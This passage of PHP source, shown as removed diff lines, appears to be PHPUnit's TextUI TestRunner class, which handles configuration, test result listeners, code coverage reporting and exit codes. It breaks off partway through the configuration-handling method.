* For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use const PHP_EOL; -use const PHP_SAPI; -use const PHP_VERSION; -use function array_diff; -use function array_map; -use function array_merge; -use function assert; -use function class_exists; -use function count; -use function dirname; -use function file_put_contents; -use function htmlspecialchars; -use function is_array; -use function is_int; -use function is_string; -use function mt_srand; -use function range; -use function realpath; -use function sort; -use function sprintf; -use function time; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\TestResult; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Runner\AfterLastTestHook; -use PHPUnit\Runner\BaseTestRunner; -use PHPUnit\Runner\BeforeFirstTestHook; -use PHPUnit\Runner\DefaultTestResultCache; -use PHPUnit\Runner\Extension\ExtensionHandler; -use PHPUnit\Runner\Filter\ExcludeGroupFilterIterator; -use PHPUnit\Runner\Filter\Factory; -use PHPUnit\Runner\Filter\IncludeGroupFilterIterator; -use PHPUnit\Runner\Filter\NameFilterIterator; -use PHPUnit\Runner\Hook; -use PHPUnit\Runner\NullTestResultCache; -use PHPUnit\Runner\ResultCacheExtension; -use PHPUnit\Runner\StandardTestSuiteLoader; -use PHPUnit\Runner\TestHook; -use PHPUnit\Runner\TestListenerAdapter; -use PHPUnit\Runner\TestSuiteLoader; -use PHPUnit\Runner\TestSuiteSorter; -use PHPUnit\Runner\Version; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\FilterMapper; -use PHPUnit\TextUI\XmlConfiguration\Configuration; -use PHPUnit\TextUI\XmlConfiguration\Loader; -use PHPUnit\TextUI\XmlConfiguration\PhpHandler; -use PHPUnit\Util\Filesystem; -use PHPUnit\Util\Log\JUnit; -use PHPUnit\Util\Log\TeamCity; -use PHPUnit\Util\Printer; -use PHPUnit\Util\TestDox\CliTestDoxPrinter; -use PHPUnit\Util\TestDox\HtmlResultPrinter; -use PHPUnit\Util\TestDox\TextResultPrinter; -use PHPUnit\Util\TestDox\XmlResultPrinter; -use PHPUnit\Util\XdebugFilterScriptGenerator; -use PHPUnit\Util\Xml\SchemaDetector; -use ReflectionClass; -use ReflectionException; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\Driver\Selector; -use SebastianBergmann\CodeCoverage\Exception as CodeCoverageException; -use SebastianBergmann\CodeCoverage\Filter as CodeCoverageFilter; -use SebastianBergmann\CodeCoverage\Report\Clover as CloverReport; -use SebastianBergmann\CodeCoverage\Report\Cobertura as CoberturaReport; -use SebastianBergmann\CodeCoverage\Report\Crap4j as Crap4jReport; -use SebastianBergmann\CodeCoverage\Report\Html\Facade as HtmlReport; -use SebastianBergmann\CodeCoverage\Report\PHP as PhpReport; -use SebastianBergmann\CodeCoverage\Report\Text as TextReport; -use SebastianBergmann\CodeCoverage\Report\Xml\Facade as XmlReport; -use SebastianBergmann\Comparator\Comparator; -use SebastianBergmann\Environment\Runtime; -use SebastianBergmann\Invoker\Invoker; -use SebastianBergmann\Timer\Timer; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TestRunner extends BaseTestRunner -{ - public const SUCCESS_EXIT = 0; - public const FAILURE_EXIT = 1; - public const EXCEPTION_EXIT = 2; - - /** - * @var CodeCoverageFilter - */ - private $codeCoverageFilter; - - /** - * @var TestSuiteLoader - */ - private $loader; - - /** - * @var ResultPrinter - */ - private $printer; - - /** - * @var bool - */ - private $messagePrinted = false; - - /** - * @var Hook[] - */ - private $extensions = []; - - /** - * @var Timer - */ - private $timer; - - public function __construct(?TestSuiteLoader $loader = null, ?CodeCoverageFilter $filter = null) - { - if ($filter === null) { - $filter = new CodeCoverageFilter; - } - - $this->codeCoverageFilter = $filter; - $this->loader = $loader; - $this->timer = new Timer; - } - - /** - * @throws \PHPUnit\Runner\Exception - * @throws Exception - * @throws XmlConfiguration\Exception - */ - public function run(TestSuite $suite, array $arguments = [], array $warnings = [], bool $exit = true): TestResult - { - if (isset($arguments['configuration'])) { - $GLOBALS['__PHPUNIT_CONFIGURATION_FILE'] = $arguments['configuration']; - } - - $this->handleConfiguration($arguments); - - $warnings = array_merge($warnings, $arguments['warnings']); - - if (is_int($arguments['columns']) && $arguments['columns'] < 16) { - $arguments['columns'] = 16; - $tooFewColumnsRequested = true; - } - - if (isset($arguments['bootstrap'])) { - $GLOBALS['__PHPUNIT_BOOTSTRAP'] = $arguments['bootstrap']; - } - - if ($arguments['backupGlobals'] === true) { - $suite->setBackupGlobals(true); - } - - if ($arguments['backupStaticAttributes'] === true) { - $suite->setBackupStaticAttributes(true); - } - - if ($arguments['beStrictAboutChangesToGlobalState'] === true) { - $suite->setBeStrictAboutChangesToGlobalState(true); - } - - if ($arguments['executionOrder'] === TestSuiteSorter::ORDER_RANDOMIZED) { - mt_srand($arguments['randomOrderSeed']); - } - - if ($arguments['cacheResult']) { - if (!isset($arguments['cacheResultFile'])) { - if (isset($arguments['configurationObject'])) { - assert($arguments['configurationObject'] instanceof Configuration); - - $cacheLocation = $arguments['configurationObject']->filename(); - } else { - $cacheLocation = $_SERVER['PHP_SELF']; - } - - $arguments['cacheResultFile'] = null; - - $cacheResultFile = realpath($cacheLocation); - - if ($cacheResultFile !== false) { - $arguments['cacheResultFile'] = dirname($cacheResultFile); - } - } - - $cache = new DefaultTestResultCache($arguments['cacheResultFile']); - - $this->addExtension(new ResultCacheExtension($cache)); - } - - if ($arguments['executionOrder'] !== TestSuiteSorter::ORDER_DEFAULT || $arguments['executionOrderDefects'] !== TestSuiteSorter::ORDER_DEFAULT || $arguments['resolveDependencies']) { - $cache = $cache ?? new NullTestResultCache; - - $cache->load(); - - $sorter = new TestSuiteSorter($cache); - - $sorter->reorderTestsInSuite($suite, $arguments['executionOrder'], $arguments['resolveDependencies'], $arguments['executionOrderDefects']); - $originalExecutionOrder = $sorter->getOriginalExecutionOrder(); - - unset($sorter); - } - - if (is_int($arguments['repeat']) && $arguments['repeat'] > 0) { - $_suite = new TestSuite; - - /* @noinspection PhpUnusedLocalVariableInspection */ - foreach (range(1, $arguments['repeat']) as $step) { - $_suite->addTest($suite); - } - - $suite = $_suite; - - unset($_suite); - } - - $result = $this->createTestResult(); - - $listener = new TestListenerAdapter; - $listenerNeeded = false; - - foreach ($this->extensions as $extension) { - if ($extension instanceof TestHook) { - $listener->add($extension); - - $listenerNeeded = true; - } - } - - if ($listenerNeeded) { - $result->addListener($listener); - } - - unset($listener, $listenerNeeded); - - if ($arguments['convertDeprecationsToExceptions']) { - $result->convertDeprecationsToExceptions(true); - } - - if (!$arguments['convertErrorsToExceptions']) { - $result->convertErrorsToExceptions(false); - } - - if (!$arguments['convertNoticesToExceptions']) { - $result->convertNoticesToExceptions(false); - } - - if (!$arguments['convertWarningsToExceptions']) { - $result->convertWarningsToExceptions(false); - } - - if ($arguments['stopOnError']) { - $result->stopOnError(true); - } - - if ($arguments['stopOnFailure']) { - $result->stopOnFailure(true); - } - - if ($arguments['stopOnWarning']) { - $result->stopOnWarning(true); - } - - if ($arguments['stopOnIncomplete']) { - $result->stopOnIncomplete(true); - } - - if ($arguments['stopOnRisky']) { - $result->stopOnRisky(true); - } - - if ($arguments['stopOnSkipped']) { - $result->stopOnSkipped(true); - } - - if ($arguments['stopOnDefect']) { - $result->stopOnDefect(true); - } - - if ($arguments['registerMockObjectsFromTestArgumentsRecursively']) { - $result->setRegisterMockObjectsFromTestArgumentsRecursively(true); - } - - if ($this->printer === null) { - if (isset($arguments['printer'])) { - if ($arguments['printer'] instanceof ResultPrinter) { - $this->printer = $arguments['printer']; - } elseif (is_string($arguments['printer']) && class_exists($arguments['printer'], false)) { - try { - $reflector = new ReflectionClass($arguments['printer']); - - if ($reflector->implementsInterface(ResultPrinter::class)) { - $this->printer = $this->createPrinter($arguments['printer'], $arguments); - } - - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } - } else { - $this->printer = $this->createPrinter(DefaultResultPrinter::class, $arguments); - } - } - - if (isset($originalExecutionOrder) && $this->printer instanceof CliTestDoxPrinter) { - assert($this->printer instanceof CliTestDoxPrinter); - - $this->printer->setOriginalExecutionOrder($originalExecutionOrder); - $this->printer->setShowProgressAnimation(!$arguments['noInteraction']); - } - - $this->write(Version::getVersionString() . "\n"); - - foreach ($arguments['listeners'] as $listener) { - $result->addListener($listener); - } - - $result->addListener($this->printer); - - $coverageFilterFromConfigurationFile = false; - $coverageFilterFromOption = false; - $codeCoverageReports = 0; - - if (isset($arguments['testdoxHTMLFile'])) { - $result->addListener( - new HtmlResultPrinter( - $arguments['testdoxHTMLFile'], - $arguments['testdoxGroups'], - $arguments['testdoxExcludeGroups'], - ), - ); - } - - if (isset($arguments['testdoxTextFile'])) { - $result->addListener( - new TextResultPrinter( - $arguments['testdoxTextFile'], - $arguments['testdoxGroups'], - $arguments['testdoxExcludeGroups'], - ), - ); - } - - if (isset($arguments['testdoxXMLFile'])) { - $result->addListener( - new XmlResultPrinter( - $arguments['testdoxXMLFile'], - ), - ); - } - - if (isset($arguments['teamcityLogfile'])) { - $result->addListener( - new TeamCity($arguments['teamcityLogfile']), - ); - } - - if (isset($arguments['junitLogfile'])) { - $result->addListener( - new JUnit( - $arguments['junitLogfile'], - $arguments['reportUselessTests'], - ), - ); - } - - if (isset($arguments['coverageClover'])) { - $codeCoverageReports++; - } - - if (isset($arguments['coverageCobertura'])) { - $codeCoverageReports++; - } - - if (isset($arguments['coverageCrap4J'])) { - $codeCoverageReports++; - } - - if (isset($arguments['coverageHtml'])) { - $codeCoverageReports++; - } - - if (isset($arguments['coveragePHP'])) { - $codeCoverageReports++; - } - - if (isset($arguments['coverageText'])) { - $codeCoverageReports++; - } - - if (isset($arguments['coverageXml'])) { - $codeCoverageReports++; - } - - if ($codeCoverageReports > 0 || isset($arguments['xdebugFilterFile'])) { - if (isset($arguments['coverageFilter'])) { - if (!is_array($arguments['coverageFilter'])) { - $coverageFilterDirectories = [$arguments['coverageFilter']]; - } else { - $coverageFilterDirectories = $arguments['coverageFilter']; - } - - foreach ($coverageFilterDirectories as $coverageFilterDirectory) { - $this->codeCoverageFilter->includeDirectory($coverageFilterDirectory); - } - - $coverageFilterFromOption = true; - } - - if (isset($arguments['configurationObject'])) { - assert($arguments['configurationObject'] instanceof Configuration); - - $codeCoverageConfiguration = $arguments['configurationObject']->codeCoverage(); - - if ($codeCoverageConfiguration->hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()) { - $coverageFilterFromConfigurationFile = true; - - (new FilterMapper)->map( - $this->codeCoverageFilter, - $codeCoverageConfiguration, - ); - } - } - } - - if ($codeCoverageReports > 0) { - try { - if (isset($codeCoverageConfiguration) && - ($codeCoverageConfiguration->pathCoverage() || (isset($arguments['pathCoverage']) && $arguments['pathCoverage'] === true))) { - $codeCoverageDriver = (new Selector)->forLineAndPathCoverage($this->codeCoverageFilter); - } else { - $codeCoverageDriver = (new Selector)->forLineCoverage($this->codeCoverageFilter); - } - - $codeCoverage = new CodeCoverage( - $codeCoverageDriver, - $this->codeCoverageFilter, - ); - - if (isset($codeCoverageConfiguration) && $codeCoverageConfiguration->hasCacheDirectory()) { - $codeCoverage->cacheStaticAnalysis($codeCoverageConfiguration->cacheDirectory()->path()); - } - - if (isset($arguments['coverageCacheDirectory'])) { - $codeCoverage->cacheStaticAnalysis($arguments['coverageCacheDirectory']); - } - - $codeCoverage->excludeSubclassesOfThisClassFromUnintentionallyCoveredCodeCheck(Comparator::class); - - if ($arguments['strictCoverage']) { - $codeCoverage->enableCheckForUnintentionallyCoveredCode(); - } - - if (isset($arguments['ignoreDeprecatedCodeUnitsFromCodeCoverage'])) { - if ($arguments['ignoreDeprecatedCodeUnitsFromCodeCoverage']) { - $codeCoverage->ignoreDeprecatedCode(); - } else { - $codeCoverage->doNotIgnoreDeprecatedCode(); - } - } - - if (isset($arguments['disableCodeCoverageIgnore'])) { - if ($arguments['disableCodeCoverageIgnore']) { - $codeCoverage->disableAnnotationsForIgnoringCode(); - } else { - $codeCoverage->enableAnnotationsForIgnoringCode(); - } - } - - if (isset($arguments['configurationObject'])) { - $codeCoverageConfiguration = $arguments['configurationObject']->codeCoverage(); - - if ($codeCoverageConfiguration->hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()) { - if ($codeCoverageConfiguration->includeUncoveredFiles()) { - $codeCoverage->includeUncoveredFiles(); - } else { - $codeCoverage->excludeUncoveredFiles(); - } - - if ($codeCoverageConfiguration->processUncoveredFiles()) { - $codeCoverage->processUncoveredFiles(); - } else { - $codeCoverage->doNotProcessUncoveredFiles(); - } - } - } - - if ($this->codeCoverageFilter->isEmpty()) { - if (!$coverageFilterFromConfigurationFile && !$coverageFilterFromOption) { - $warnings[] = 'No filter is configured, code coverage will not be processed'; - } else { - $warnings[] = 'Incorrect filter configuration, code coverage will not be processed'; - } - - unset($codeCoverage); - } - } catch (CodeCoverageException $e) { - $warnings[] = $e->getMessage(); - } - } - - if ($arguments['verbose']) { - if (PHP_SAPI === 'phpdbg') { - $this->writeMessage('Runtime', 'PHPDBG ' . PHP_VERSION); - } else { - $runtime = 'PHP ' . PHP_VERSION; - - if (isset($codeCoverageDriver)) { - $runtime .= ' with ' . $codeCoverageDriver->nameAndVersion(); - } - - $this->writeMessage('Runtime', $runtime); - } - - if (isset($arguments['configurationObject'])) { - assert($arguments['configurationObject'] instanceof Configuration); - - $this->writeMessage( - 'Configuration', - $arguments['configurationObject']->filename(), - ); - } - - foreach ($arguments['loadedExtensions'] as $extension) { - $this->writeMessage( - 'Extension', - $extension, - ); - } - - foreach ($arguments['notLoadedExtensions'] as $extension) { - $this->writeMessage( - 'Extension', - $extension, - ); - } - } - - if ($arguments['executionOrder'] === TestSuiteSorter::ORDER_RANDOMIZED) { - $this->writeMessage( - 'Random Seed', - (string) $arguments['randomOrderSeed'], - ); - } - - if (isset($tooFewColumnsRequested)) { - $warnings[] = 'Less than 16 columns requested, number of columns set to 16'; - } - - if ((new Runtime)->discardsComments()) { - $warnings[] = 'opcache.save_comments=0 set; annotations will not work'; - } - - if (isset($arguments['conflictBetweenPrinterClassAndTestdox'])) { - $warnings[] = 'Directives printerClass and testdox are mutually exclusive'; - } - - $warnings = array_merge($warnings, $suite->warnings()); - sort($warnings); - - foreach ($warnings as $warning) { - $this->writeMessage('Warning', $warning); - } - - if (isset($arguments['configurationObject'])) { - assert($arguments['configurationObject'] instanceof Configuration); - - if ($arguments['configurationObject']->hasValidationErrors()) { - if ((new SchemaDetector)->detect($arguments['configurationObject']->filename())->detected()) { - $this->writeMessage('Warning', 'Your XML configuration validates against a deprecated schema.'); - $this->writeMessage('Suggestion', 'Migrate your XML configuration using "--migrate-configuration"!'); - } else { - $this->write( - "\n Warning - The configuration file did not pass validation!\n The following problems have been detected:\n", - ); - - $this->write($arguments['configurationObject']->validationErrors()); - - $this->write("\n Test results may not be as expected.\n\n"); - } - } - } - - if (isset($arguments['xdebugFilterFile'], $codeCoverageConfiguration)) { - $this->write(PHP_EOL . 'Please note that --dump-xdebug-filter and --prepend are deprecated and will be removed in PHPUnit 10.' . PHP_EOL); - - $script = (new XdebugFilterScriptGenerator)->generate($codeCoverageConfiguration); - - if ($arguments['xdebugFilterFile'] !== 'php://stdout' && $arguments['xdebugFilterFile'] !== 'php://stderr' && !Filesystem::createDirectory(dirname($arguments['xdebugFilterFile']))) { - $this->write(sprintf('Cannot write Xdebug filter script to %s ' . PHP_EOL, $arguments['xdebugFilterFile'])); - - exit(self::EXCEPTION_EXIT); - } - - file_put_contents($arguments['xdebugFilterFile'], $script); - - $this->write(sprintf('Wrote Xdebug filter script to %s ' . PHP_EOL . PHP_EOL, $arguments['xdebugFilterFile'])); - - exit(self::SUCCESS_EXIT); - } - - $this->write("\n"); - - if (isset($codeCoverage)) { - $result->setCodeCoverage($codeCoverage); - } - - $result->beStrictAboutTestsThatDoNotTestAnything($arguments['reportUselessTests']); - $result->beStrictAboutOutputDuringTests($arguments['disallowTestOutput']); - $result->beStrictAboutTodoAnnotatedTests($arguments['disallowTodoAnnotatedTests']); - $result->beStrictAboutResourceUsageDuringSmallTests($arguments['beStrictAboutResourceUsageDuringSmallTests']); - - if ($arguments['enforceTimeLimit'] === true && !(new Invoker)->canInvokeWithTimeout()) { - $this->writeMessage('Error', 'PHP extension pcntl is required for enforcing time limits'); - } - - $result->enforceTimeLimit($arguments['enforceTimeLimit']); - $result->setDefaultTimeLimit($arguments['defaultTimeLimit']); - $result->setTimeoutForSmallTests($arguments['timeoutForSmallTests']); - $result->setTimeoutForMediumTests($arguments['timeoutForMediumTests']); - $result->setTimeoutForLargeTests($arguments['timeoutForLargeTests']); - - if (isset($arguments['forceCoversAnnotation']) && $arguments['forceCoversAnnotation'] === true) { - $result->forceCoversAnnotation(); - } - - $this->processSuiteFilters($suite, $arguments); - $suite->setRunTestInSeparateProcess($arguments['processIsolation']); - - foreach ($this->extensions as $extension) { - if ($extension instanceof BeforeFirstTestHook) { - $extension->executeBeforeFirstTest(); - } - } - - $suite->run($result); - - foreach ($this->extensions as $extension) { - if ($extension instanceof AfterLastTestHook) { - $extension->executeAfterLastTest(); - } - } - - $result->flushListeners(); - $this->printer->printResult($result); - - if (isset($codeCoverage)) { - if (isset($arguments['coveragePHP'])) { - $this->codeCoverageGenerationStart('PHP'); - - try { - $writer = new PhpReport; - $writer->process($codeCoverage, $arguments['coveragePHP']); - - $this->codeCoverageGenerationSucceeded(); - - unset($writer); - } catch (CodeCoverageException $e) { - $this->codeCoverageGenerationFailed($e); - } - } - - if (isset($arguments['coverageClover'])) { - $this->codeCoverageGenerationStart('Clover XML'); - - try { - $writer = new CloverReport; - $writer->process($codeCoverage, $arguments['coverageClover']); - - $this->codeCoverageGenerationSucceeded(); - - unset($writer); - } catch (CodeCoverageException $e) { - $this->codeCoverageGenerationFailed($e); - } - } - - if (isset($arguments['coverageCobertura'])) { - $this->codeCoverageGenerationStart('Cobertura XML'); - - try { - $writer = new CoberturaReport; - $writer->process($codeCoverage, $arguments['coverageCobertura']); - - $this->codeCoverageGenerationSucceeded(); - - unset($writer); - } catch (CodeCoverageException $e) { - $this->codeCoverageGenerationFailed($e); - } - } - - if (isset($arguments['coverageCrap4J'])) { - $this->codeCoverageGenerationStart('Crap4J XML'); - - try { - $writer = new Crap4jReport($arguments['crap4jThreshold']); - $writer->process($codeCoverage, $arguments['coverageCrap4J']); - - $this->codeCoverageGenerationSucceeded(); - - unset($writer); - } catch (CodeCoverageException $e) { - $this->codeCoverageGenerationFailed($e); - } - } - - if (isset($arguments['coverageHtml'])) { - $this->codeCoverageGenerationStart('HTML'); - - try { - $writer = new HtmlReport( - $arguments['reportLowUpperBound'], - $arguments['reportHighLowerBound'], - sprintf( - ' and PHPUnit %s', - Version::id(), - ), - ); - - $writer->process($codeCoverage, $arguments['coverageHtml']); - - $this->codeCoverageGenerationSucceeded(); - - unset($writer); - } catch (CodeCoverageException $e) { - $this->codeCoverageGenerationFailed($e); - } - } - - if (isset($arguments['coverageText'])) { - if ($arguments['coverageText'] === 'php://stdout') { - $outputStream = $this->printer; - $colors = $arguments['colors'] && $arguments['colors'] !== DefaultResultPrinter::COLOR_NEVER; - } else { - $outputStream = new Printer($arguments['coverageText']); - $colors = false; - } - - $processor = new TextReport( - $arguments['reportLowUpperBound'], - $arguments['reportHighLowerBound'], - $arguments['coverageTextShowUncoveredFiles'], - $arguments['coverageTextShowOnlySummary'], - ); - - $outputStream->write( - $processor->process($codeCoverage, $colors), - ); - } - - if (isset($arguments['coverageXml'])) { - $this->codeCoverageGenerationStart('PHPUnit XML'); - - try { - $writer = new XmlReport(Version::id()); - $writer->process($codeCoverage, $arguments['coverageXml']); - - $this->codeCoverageGenerationSucceeded(); - - unset($writer); - } catch (CodeCoverageException $e) { - $this->codeCoverageGenerationFailed($e); - } - } - } - - if ($exit) { - if (isset($arguments['failOnEmptyTestSuite']) && $arguments['failOnEmptyTestSuite'] === true && count($result) === 0) { - exit(self::FAILURE_EXIT); - } - - if ($result->wasSuccessfulIgnoringWarnings()) { - if ($arguments['failOnRisky'] && !$result->allHarmless()) { - exit(self::FAILURE_EXIT); - } - - if ($arguments['failOnWarning'] && $result->warningCount() > 0) { - exit(self::FAILURE_EXIT); - } - - if ($arguments['failOnIncomplete'] && $result->notImplementedCount() > 0) { - exit(self::FAILURE_EXIT); - } - - if ($arguments['failOnSkipped'] && $result->skippedCount() > 0) { - exit(self::FAILURE_EXIT); - } - - exit(self::SUCCESS_EXIT); - } - - if ($result->errorCount() > 0) { - exit(self::EXCEPTION_EXIT); - } - - if ($result->failureCount() > 0) { - exit(self::FAILURE_EXIT); - } - } - - return $result; - } - - /** - * Returns the loader to be used. - */ - public function getLoader(): TestSuiteLoader - { - if ($this->loader === null) { - $this->loader = new StandardTestSuiteLoader; - } - - return $this->loader; - } - - public function addExtension(Hook $extension): void - { - $this->extensions[] = $extension; - } - - /** - * Override to define how to handle a failed loading of - * a test suite. - */ - protected function runFailed(string $message): void - { - $this->write($message . PHP_EOL); - - exit(self::FAILURE_EXIT); - } - - private function createTestResult(): TestResult - { - return new TestResult; - } - - private function write(string $buffer): void - { - if (PHP_SAPI !== 'cli' && PHP_SAPI !== 'phpdbg') { - $buffer = htmlspecialchars($buffer); - } - - if ($this->printer !== null) { - $this->printer->write($buffer); - } else { - print $buffer; - } - } - - /** - * @throws Exception - * @throws XmlConfiguration\Exception - */ - private function handleConfiguration(array &$arguments): void - { - if (!isset($arguments['configurationObject']) && isset($arguments['configuration'])) { - $arguments['configurationObject'] = (new Loader)->load($arguments['configuration']); - } - - if (!isset($arguments['warnings'])) { - $arguments['warnings'] = []; - } - - $arguments['debug'] = $arguments['debug'] ?? false; - $arguments['filter'] = $arguments['filter'] ?? false; - $arguments['listeners'] = $arguments['listeners'] ?? []; - - if (isset($arguments['configurationObject'])) { - (new PhpHandler)->handle($arguments['configurationObject']->php()); - - $codeCoverageConfiguration = $arguments['configurationObject']->codeCoverage(); - - if (!isset($arguments['noCoverage'])) { - if (!isset($arguments['coverageClover']) && $codeCoverageConfiguration->hasClover()) { - $arguments['coverageClover'] = $codeCoverageConfiguration->clover()->target()->path(); - } - - if (!isset($arguments['coverageCobertura']) && $codeCoverageConfiguration->hasCobertura()) { - $arguments['coverageCobertura'] = $codeCoverageConfiguration->cobertura()->target()->path(); - } - - if (!isset($arguments['coverageCrap4J']) && $codeCoverageConfiguration->hasCrap4j()) { - $arguments['coverageCrap4J'] = $codeCoverageConfiguration->crap4j()->target()->path(); - - if (!isset($arguments['crap4jThreshold'])) { - $arguments['crap4jThreshold'] = $codeCoverageConfiguration->crap4j()->threshold(); - } - } - - if (!isset($arguments['coverageHtml']) && $codeCoverageConfiguration->hasHtml()) { - $arguments['coverageHtml'] = $codeCoverageConfiguration->html()->target()->path(); - - if (!isset($arguments['reportLowUpperBound'])) { - $arguments['reportLowUpperBound'] = $codeCoverageConfiguration->html()->lowUpperBound(); - } - - if (!isset($arguments['reportHighLowerBound'])) { - $arguments['reportHighLowerBound'] = $codeCoverageConfiguration->html()->highLowerBound(); - } - } - - if (!isset($arguments['coveragePHP']) && $codeCoverageConfiguration->hasPhp()) { - $arguments['coveragePHP'] = $codeCoverageConfiguration->php()->target()->path(); - } - - if (!isset($arguments['coverageText']) && $codeCoverageConfiguration->hasText()) { - $arguments['coverageText'] = $codeCoverageConfiguration->text()->target()->path(); - $arguments['coverageTextShowUncoveredFiles'] = $codeCoverageConfiguration->text()->showUncoveredFiles(); - $arguments['coverageTextShowOnlySummary'] = $codeCoverageConfiguration->text()->showOnlySummary(); - } - - if (!isset($arguments['coverageXml']) && $codeCoverageConfiguration->hasXml()) { - $arguments['coverageXml'] = $codeCoverageConfiguration->xml()->target()->path(); - } - } - - $phpunitConfiguration = $arguments['configurationObject']->phpunit(); - - $arguments['backupGlobals'] = $arguments['backupGlobals'] ?? $phpunitConfiguration->backupGlobals(); - $arguments['backupStaticAttributes'] = $arguments['backupStaticAttributes'] ?? $phpunitConfiguration->backupStaticAttributes(); - $arguments['beStrictAboutChangesToGlobalState'] = $arguments['beStrictAboutChangesToGlobalState'] ?? $phpunitConfiguration->beStrictAboutChangesToGlobalState(); - $arguments['cacheResult'] = $arguments['cacheResult'] ?? $phpunitConfiguration->cacheResult(); - $arguments['colors'] = $arguments['colors'] ?? $phpunitConfiguration->colors(); - $arguments['convertDeprecationsToExceptions'] = $arguments['convertDeprecationsToExceptions'] ?? $phpunitConfiguration->convertDeprecationsToExceptions(); - $arguments['convertErrorsToExceptions'] = $arguments['convertErrorsToExceptions'] ?? $phpunitConfiguration->convertErrorsToExceptions(); - $arguments['convertNoticesToExceptions'] = $arguments['convertNoticesToExceptions'] ?? $phpunitConfiguration->convertNoticesToExceptions(); - $arguments['convertWarningsToExceptions'] = $arguments['convertWarningsToExceptions'] ?? $phpunitConfiguration->convertWarningsToExceptions(); - $arguments['processIsolation'] = $arguments['processIsolation'] ?? $phpunitConfiguration->processIsolation(); - $arguments['stopOnDefect'] = $arguments['stopOnDefect'] ?? $phpunitConfiguration->stopOnDefect(); - $arguments['stopOnError'] = $arguments['stopOnError'] ?? $phpunitConfiguration->stopOnError(); - $arguments['stopOnFailure'] = $arguments['stopOnFailure'] ?? $phpunitConfiguration->stopOnFailure(); - $arguments['stopOnWarning'] = $arguments['stopOnWarning'] ?? $phpunitConfiguration->stopOnWarning(); - $arguments['stopOnIncomplete'] = $arguments['stopOnIncomplete'] ?? $phpunitConfiguration->stopOnIncomplete(); - $arguments['stopOnRisky'] = $arguments['stopOnRisky'] ?? $phpunitConfiguration->stopOnRisky(); - $arguments['stopOnSkipped'] = $arguments['stopOnSkipped'] ?? $phpunitConfiguration->stopOnSkipped(); - $arguments['failOnEmptyTestSuite'] = $arguments['failOnEmptyTestSuite'] ?? $phpunitConfiguration->failOnEmptyTestSuite(); - $arguments['failOnIncomplete'] = $arguments['failOnIncomplete'] ?? $phpunitConfiguration->failOnIncomplete(); - $arguments['failOnRisky'] = $arguments['failOnRisky'] ?? $phpunitConfiguration->failOnRisky(); - $arguments['failOnSkipped'] = $arguments['failOnSkipped'] ?? $phpunitConfiguration->failOnSkipped(); - $arguments['failOnWarning'] = $arguments['failOnWarning'] ?? $phpunitConfiguration->failOnWarning(); - $arguments['enforceTimeLimit'] = $arguments['enforceTimeLimit'] ?? $phpunitConfiguration->enforceTimeLimit(); - $arguments['defaultTimeLimit'] = $arguments['defaultTimeLimit'] ?? $phpunitConfiguration->defaultTimeLimit(); - $arguments['timeoutForSmallTests'] = $arguments['timeoutForSmallTests'] ?? $phpunitConfiguration->timeoutForSmallTests(); - $arguments['timeoutForMediumTests'] = $arguments['timeoutForMediumTests'] ?? $phpunitConfiguration->timeoutForMediumTests(); - $arguments['timeoutForLargeTests'] = $arguments['timeoutForLargeTests'] ?? $phpunitConfiguration->timeoutForLargeTests(); - $arguments['reportUselessTests'] = $arguments['reportUselessTests'] ?? $phpunitConfiguration->beStrictAboutTestsThatDoNotTestAnything(); - $arguments['strictCoverage'] = $arguments['strictCoverage'] ?? $phpunitConfiguration->beStrictAboutCoversAnnotation(); - $arguments['ignoreDeprecatedCodeUnitsFromCodeCoverage'] = $arguments['ignoreDeprecatedCodeUnitsFromCodeCoverage'] ?? $codeCoverageConfiguration->ignoreDeprecatedCodeUnits(); - $arguments['disallowTestOutput'] = $arguments['disallowTestOutput'] ?? $phpunitConfiguration->beStrictAboutOutputDuringTests(); - $arguments['disallowTodoAnnotatedTests'] = $arguments['disallowTodoAnnotatedTests'] ?? $phpunitConfiguration->beStrictAboutTodoAnnotatedTests(); - $arguments['beStrictAboutResourceUsageDuringSmallTests'] = $arguments['beStrictAboutResourceUsageDuringSmallTests'] ?? $phpunitConfiguration->beStrictAboutResourceUsageDuringSmallTests(); - $arguments['verbose'] = $arguments['verbose'] ?? $phpunitConfiguration->verbose(); - $arguments['reverseDefectList'] = $arguments['reverseDefectList'] ?? $phpunitConfiguration->reverseDefectList(); - $arguments['forceCoversAnnotation'] = $arguments['forceCoversAnnotation'] ?? $phpunitConfiguration->forceCoversAnnotation(); - $arguments['disableCodeCoverageIgnore'] = $arguments['disableCodeCoverageIgnore'] ?? $codeCoverageConfiguration->disableCodeCoverageIgnore(); - $arguments['registerMockObjectsFromTestArgumentsRecursively'] = $arguments['registerMockObjectsFromTestArgumentsRecursively'] ?? $phpunitConfiguration->registerMockObjectsFromTestArgumentsRecursively(); - $arguments['noInteraction'] = $arguments['noInteraction'] ?? $phpunitConfiguration->noInteraction(); - $arguments['executionOrder'] = $arguments['executionOrder'] ?? $phpunitConfiguration->executionOrder(); - $arguments['resolveDependencies'] = $arguments['resolveDependencies'] ?? $phpunitConfiguration->resolveDependencies(); - - if (!isset($arguments['bootstrap']) && $phpunitConfiguration->hasBootstrap()) { - $arguments['bootstrap'] = $phpunitConfiguration->bootstrap(); - } - - if (!isset($arguments['cacheResultFile']) && $phpunitConfiguration->hasCacheResultFile()) { - $arguments['cacheResultFile'] = $phpunitConfiguration->cacheResultFile(); - } - - if (!isset($arguments['executionOrderDefects'])) { - $arguments['executionOrderDefects'] = $phpunitConfiguration->defectsFirst() ? TestSuiteSorter::ORDER_DEFECTS_FIRST : TestSuiteSorter::ORDER_DEFAULT; - } - - if ($phpunitConfiguration->conflictBetweenPrinterClassAndTestdox()) { - $arguments['conflictBetweenPrinterClassAndTestdox'] = true; - } - - $groupCliArgs = []; - - if (!empty($arguments['groups'])) { - $groupCliArgs = $arguments['groups']; - } - - $groupConfiguration = $arguments['configurationObject']->groups(); - - if (!isset($arguments['groups']) && $groupConfiguration->hasInclude()) { - $arguments['groups'] = 